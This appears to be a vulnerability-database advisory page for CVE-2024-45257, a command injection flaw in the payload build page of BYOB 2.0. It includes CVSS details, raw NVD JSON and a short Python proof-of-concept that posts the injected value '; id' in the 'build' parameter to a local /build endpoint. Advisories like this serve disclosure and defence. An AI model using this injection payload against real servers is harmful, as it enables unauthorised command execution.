Security Vulnerability Report
中文
CVE-2024-45257 CVSS 7.3 HIGH

CVE-2024-45257

Published: 2026-05-08 06:16:10
Last Modified: 2026-05-08 18:16:32

Description

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbitrary commands on the server via a crafted build parameter. This occurs in freeze in core/generators.py.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

BYOB (Build Your Own Botnet) 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_byob(target_url): """ PoC for CVE-2024-45257: Command Injection in BYOB 2.0 This script sends a malicious payload to the build page. """ # The vulnerable parameter is 'build' # Payload attempts to execute 'id' command via shell injection payload = "; id" # Note: The exact endpoint might vary based on BYOB deployment configuration # Common endpoint is /build or similar endpoint = f"{target_url.rstrip('/')}/build" data = { "build": payload } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the server response or verify command execution.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target IP and Port target = "http://127.0.0.1:5000" exploit_byob(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-45257", "sourceIdentifier": "[email protected]", "published": "2026-05-08T06:16:09.687", "lastModified": "2026-05-08T18:16:32.337", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbitrary commands on the server via a crafted build parameter. This occurs in freeze in core/generators.py."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/", "source": "[email protected]"}, {"url": "https://github.com/malwaredllc/byob", "source": "[email protected]"}, {"url": "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/unix/webapp/byob_unauth_rce.rb", "source": "[email protected]"}]}}